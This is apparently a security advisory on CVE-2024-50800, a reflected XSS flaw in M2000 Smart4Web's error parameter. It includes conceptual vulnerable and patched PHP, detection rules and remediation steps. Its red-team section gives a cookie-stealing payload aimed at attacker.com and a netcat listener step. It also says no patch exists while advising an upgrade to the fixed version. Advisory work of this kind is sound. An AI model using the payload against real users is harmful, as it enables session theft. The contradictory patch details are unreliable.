CVE-2024-50800

Executive Summary

CVE-2024-50800 is a reflected Cross-Site Scripting (XSS) vulnerability in M2000 Smart4Web, a web-based management interface. The flaw exists in versions prior to 5.020241004 and allows a remote attacker to inject arbitrary JavaScript code via the error parameter in the URL. The vulnerability is unauthenticated and requires user interaction (e.g., clicking a crafted link). No official patch has been released by the vendor, and no public exploit code is available. The CVSS score is 0.0 due to incomplete NVD data, but based on the vector, the severity is medium (CVSS 6.1). The EPSS score is 0.0%, indicating low exploitation activity in the wild.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a proprietary web application (M2000 Smart4Web) and is not part of a software supply chain ecosystem.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The vulnerability is exploitable remotely without authentication, but requires the victim to click a malicious link. Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of the victim's browser, potentially leading to session hijacking, defacement, or data theft.

Deep Dive & Mechanics

The vulnerability resides in the error parameter of the Smart4Web application. When a user accesses a URL like http://target/smart4web?error=<script>alert(1)</script>, the application reflects the input without proper sanitization or encoding. This allows an attacker to inject arbitrary HTML and JavaScript.

The root cause is insufficient output encoding in the server-side code that handles the error parameter. The application likely uses a templating engine that does not escape user input by default, or the developer manually inserted the parameter value into the response without encoding.

The attack flow:

1. Attacker crafts a malicious URL with JavaScript payload in the error parameter.
2. Attacker sends the link to a victim via email, social media, or other channels.
3. Victim clicks the link and the browser sends a request to the vulnerable server.
4. The server reflects the payload in the response without sanitization.
5. The victim's browser executes the injected script, which can steal cookies, redirect to phishing sites, or perform actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable: Direct reflection without encoding
$error = $_GET['error'];
echo "<div class='error'>$error</div>";

Patched Code (Conceptual):

// Patched: Proper HTML encoding
$error = htmlspecialchars($_GET['error'], ENT_QUOTES, 'UTF-8');
echo "<div class='error'>$error</div>";

The patched version uses htmlspecialchars() to encode special characters like <, >, ", and &, preventing script injection.

Exploitation & Lab Setup

Red Team (Attacker)

Setup:

1. Deploy a vulnerable instance of M2000 Smart4Web (version < 5.020241004) in a lab environment.
2. Use a browser or tool like Burp Suite to craft the exploit.

Exploit URL:

http://target/smart4web?error=<script>alert('XSS')</script>

Advanced Payload (Cookie Stealing):

http://target/smart4web?error=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>

Steps:

1. Host a listener on attacker machine (e.g., nc -lvnp 80).
2. Send the malicious link to the victim.
3. When victim clicks, the script sends their cookies to the attacker's server.

Blue Team (Defender)

Detection:

• Monitor web server logs for requests containing <script> or onerror patterns in the error parameter.
• Use WAF rules to block reflected XSS attempts.

Mitigation:

• Apply input validation and output encoding.
• Use Content Security Policy (CSP) headers to restrict script execution.
• Educate users not to click suspicious links.

Indicators of Compromise (IOCs)

• URL Pattern: ?error=<script>...</script> or ?error=javascript:...
• Network Traffic: HTTP requests to the vulnerable endpoint with suspicious error parameter values.
• Log Entries: Web server logs showing error parameter containing HTML tags or JavaScript.
• File Hashes: N/A (no file-based IOCs).

Detection Engineering

YARA Rule

rule CVE_2024_50800_XSS_Detection {
    meta:
        description = "Detects reflected XSS attempts targeting CVE-2024-50800"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-50800"
    strings:
        $xss_pattern1 = /error=<script>/ nocase
        $xss_pattern2 = /error=.*<script>/ nocase
        $xss_pattern3 = /error=.*onerror=/ nocase
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS Attempt on M2000 Smart4Web
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2024-50800 via the error parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: "error=<script>"
    condition: selection
falsepositives:
    - Legitimate use of script tags in error messages (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-50800 Reflected XSS Attempt"; flow:to_server; content:"error=<script>"; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade to M2000 Smart4Web version 5.020241004 or later if available.
2. If upgrade is not possible, apply a virtual patch using a WAF to block requests containing <script> in the error parameter.
3. Implement Content Security Policy (CSP) headers to restrict script execution.

Long-term Fixes:

• The vendor should implement proper output encoding for all user-supplied input.
• Conduct a security audit of the application for similar vulnerabilities.
• Establish a vulnerability disclosure program.

Workarounds:

• Disable the error parameter functionality if not needed.
• Use a reverse proxy to sanitize input before it reaches the application.

Valters IT